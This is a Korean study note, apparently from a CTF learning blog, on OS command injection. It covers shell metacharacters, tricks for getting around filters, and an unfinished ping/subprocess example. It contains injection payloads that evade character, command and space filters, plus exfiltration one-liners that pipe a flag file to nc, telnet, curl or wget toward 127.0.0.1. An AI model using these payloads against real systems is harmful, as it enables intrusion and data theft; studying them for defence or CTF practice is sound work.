이용자의 입력을 시스템 명령어로 실행하게 하는 취약점

 

시스템 명령어를 실행하는 함수에 이용자가 임의의 인자를 전달 할 수 있을 때 발생

 

이는 리눅스 쉘 프로그램이 지원하는 다양한 메타 문자 때문이다.

시스템 함수는 쉘 프로그램에 명령어를 전달하여 실행하는, 쉘 프로그램은 다양한 메타 문자를 지원한다.

 

''  명령어 치환

'' 안에 있는 명령어를 실행한 결과로 치환된다.

$ echo `echo theori`
theori

 

$() 명령어 치환

$() 안에 있는 명령어를 실행한 결과로 치환된다. 중복 사용이 가능하다.

$ echo $(echo $(echo theori))
theori

 

&& 명령어 연속 실행

한 줄에 여러 명령어를 사용할 수 있다. 앞 명령어에서 에러가 발생하지 않아야 뒷 명령어가 실행된다.

$ echo hello && echo theori
hello
theori

 

 

|| 명령어 연속 실행

한 줄에 여러 명령어를 사용할 수 있다. 앞 명령어에서 에러가 발생해야 뒷 명령어가 실행된다.

$ cat / || echo theori
cat: /: Is a directory
theori

 

 

; 명령어 구분자

한 줄에 여러 명령어를 사용할 수 있다. 앞 명령어의 에러 유무와 관계 없이 뒷 명령어를 실행한다.

$ echo hello ; echo theori
hello
theori

 

 

| 파이프

앞 명령어의 결과가 뒷 명령어의 입력으로 들어간다.

$ echo id | /bin/sh
uid=1001(theori) gid=1001(theori) groups=1001(theori)

 

 

 


 

필터링 우회

명령어의 입력으로 들어가는 문자열을 필터링하는 경우

echo -e "\x66\x6c\x61\x67" | xargs cat -e    //16진수 ASCII
cat $'\146\154\141\147'                      //8진수 ASCII
cat [0-z][0-z][0-z][0-z]
cat ????
cat FL${}AG

 

 

명령어(cat, ls, ...) 를 필터링하는 경우

c''a""t flag
c${invalid_variable}a${XX}t flag

 

 

공백을 필터링하는 경우

{cat,flag}
cat$IFS$()flag
cat${IFS}flag

 

 

실행 결과를 확인할 수 없는 환경에서 방법 (결과가 출력되지 않을 때)

 

nc, telcet 사용

cat flag | nc 127.0.0.1 8000
cat flag | telnet 127.0.0.1 8000

 

 

curl, wget 사용

curl "http://127.0.0.1:8080/?$(cat flag|base64 -w0)" // GET 요청
curl http://127.0.0.1:8080/ -d "$(cat flag)"         // POST 요청

wget http://127.0.0.1:8080 --method=POST --body-data="`cat flag`"

 

 

 


 

예제

URL 쿼리를 통해 전달되는 query  값을 ping 명령어의 인자로 전달하고

해당 명령어가 subprocess.check_output() 함수를 이용해 실행되어 출력되는 프로그램이 있다.

 

 

메타 문자를 이용하여 뒤에 원하는 명령어를 함께 실행시킬 수 있다.

+ Recent posts